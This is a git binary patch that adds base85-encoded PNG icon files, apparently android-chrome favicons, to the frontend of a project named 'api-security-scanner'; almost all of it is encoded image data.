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 LNkvXXu0mjfEzy?V literal 0 HcmV?d00001 diff --git a/api-security-scanner/frontend/public/android-chrome-512x512.png b/api-security-scanner/frontend/public/android-chrome-512x512.png new file mode 100644 index 0000000000000000000000000000000000000000..ccd36d2d4688d3caac8f3f90b2700bac87031ae8 GIT binary patch literal 107555 zcmYg%1yqz@^FJa=h!TQyNH;7XDBU65xzvIPNJ}h@lp;uXw{&;c(yVlcbi>k1?SFay z-}n9g&fx&(Irq8qxijjKU9@vUt*DBp`f6=l$VoIM?pbF{)>u&@f`W*+8e(GP_#4L?B>L#2BXP5tCK3fgzSr+vx5{Rx>1k<_0^LQKgo`_tGKfQ7=An`bZ=5|1its_7kMVVD!a~&4==RIxNRXoHfihE$7!vAno1mQY7?|6e>2bw}+`pP!7cmtS1a9&nM0yO!*4aQb&Tv&ZRv1nukopXsQ!R!C5M ziOF=<|3&xn5nbtL3edmku0eN#Pgf(d*7yEn(MN}$&3qf!b0 zPVE1RMOxr_NB-+VQ2)PT%R`W2TPR}<$^Km}_kWa!wm0keuk!ZSk*h7oVVoKK=UsBt z6s#wfC|_6{1wQ>F!lan?#N*Ke_N51F|IySVJc&nma*4kP|Ap7$^9b*z(uw_F7qI#d zJiI(m&%f~O10Uhx)fgK53lIMho;=#_?4t`KML+r{*&{rAY|feaf8n7%!ovaxF#I2Q zGLP`cq=#$&kM_hK;fa0!_3Zz^b9{sc0XPf)PkSdlkG{fa6!`0ZUo}$8A0CYh6(70y zM^(t>zW#-Df^>%`O`C%MS`GS$&zI7!Ea89FP5+Es$BEQWDEsoi>-FV$bUx=O=lg#J zqy0y)uDjjt|M9A`$Ax4>r0xIrvwG#v_y)OPp~`IM7ym5oQ8B)c_PulacCn6`RLb%@KV7Xe zCl8C(h`p~xv=HLE5b&BBc7^z5Tu2C20VU*1Y}>iDb40%etAfxMOHVxyO`P;1;agPV zKebqEsT^w)Mh4tXRU5s<8Ut)-C4ubL;P(XaAj#S}h!;lMw@-|Zad8V=6 zpWa_Yj0!AI=6>@-^2=$aa=J%N!%BZTv#1#r*dNq#xa@KJy!%9JY2&q`qnGNLINw4K zY?^pmVTF5r3|JGvLkQm)9xH`*{7MsK=3ws?(kvqGez05~7!8n}^S&mzBnQVAHFr3rw7xI!g*vo91fFf^LUuNfb($!IB{vp;jw@ zb6^6lhYJzg2J}|@cvO_=5#&n^e~LGY%d+J6MeytE_difC3mGN%)md5F6qJ=I3(u|& zxzB$1aw{yG{zhBYYImso+xy%P-o1d)-5kA{1= zv)LHLATw!;xP!Q{;*zp*JQ+2^H*$KH8N%IDL$rpZdXb5K(fVLvs*hb`# zBN5sQ1tJ0`i?3l>3bbK{q~;shH_Y~NF}C)mm){5iBoq2SRm0wE|1B*kb+*{RPY4N- zB5HK-@ncdk%oy5ic>h&=vfKsR!O_HTb5o0Egd$j*zT1Ou?dG~+J|K-TPI*F?NSa65u$;jem8t9R89VG}))jKuX+ljbF#@QwD4#J#&VS)0?{d zc<>iTCDAmBG+7%326Gzsu2~M0b%b>23;+#3Rog~iTG;ag@VmQE>G+1<+9 z4!le2t8`%eIJA6ha#CugO)~fAPk9CK^Pt`@3(k?iJ)+?8Y1F*D(w`K~IIGfcZHieF zrJ~#J(RY_T#jwj%G^nDzW%sf>2S;?xRYhthSLv;~oT!k3fZKsd!L;2=BA49XHHO6GnQfI(cQ*n?tJMZ)2SQ)JbMc~`a!>NrR{{mE zss^q72~0KHplfu;JvVzaaKqr_Wc{1VgPhqiC2w{5JpCb4n7gjff*oFX+QM9$4Hf1J zZF^IorI5!}VfeI$y8hdUz6k0Zr=1qaY)300yBqQUqKr=^w zD>aM~fVZzA4UFG1wh1;h&w8Iw|IozB5nULKl0=?1$PKyl;g!Rks8k0oUCe>#jq9F4 zvz$D$hY__FoERtfy)A`0@k!ynH%}-o+b zQpN;>zC^LmTMThiQsZ?0Cdiw{=?HaI?Vtpf4oXNr2240??<`rHQP|r%cW4OnwG|Dt 